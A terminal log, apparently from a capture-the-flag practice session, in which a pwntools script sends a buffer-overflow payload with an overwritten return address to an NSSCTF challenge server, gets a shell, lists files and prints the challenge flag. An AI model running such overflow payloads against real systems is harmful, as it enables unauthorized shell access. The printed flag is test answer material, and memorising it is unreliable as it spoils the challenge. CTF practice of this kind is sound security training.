┌──(kali㉿kali)-[~/Desktop]└─$ python exp.py
[+] Opening connection to node5.anna.nssctf.cn on port 28017: Done
[DEBUG] Sent 0x21 bytes:
0000000061616161616161616161616161616161 │aaaa│aaaa│aaaa│aaaa│
000000106161616161616161 b6 05400000000000 │aaaa│aaaa│··@·│····│
00000020 0a │·│
00000021[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'[DEBUG] Received 0x22 bytes:
b'bin\n' b'dev\n' b'flag\n' b'lib\n' b'lib32\n' b'lib64\n' b'pwn5\n'bin
dev
flag
lib
lib32
lib64
pwn5
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'[DEBUG] Received 0x2d bytes:
b'NSSCTF{ef171f2b-bb3e-4a2d-bdf8-9a8632048193}\n'NSSCTF{ef171f2b-bb3e-4a2d-bdf8-9a8632048193}$
[*] Interrupted
[*] Closed connection to node5.anna.nssctf.cn port 28017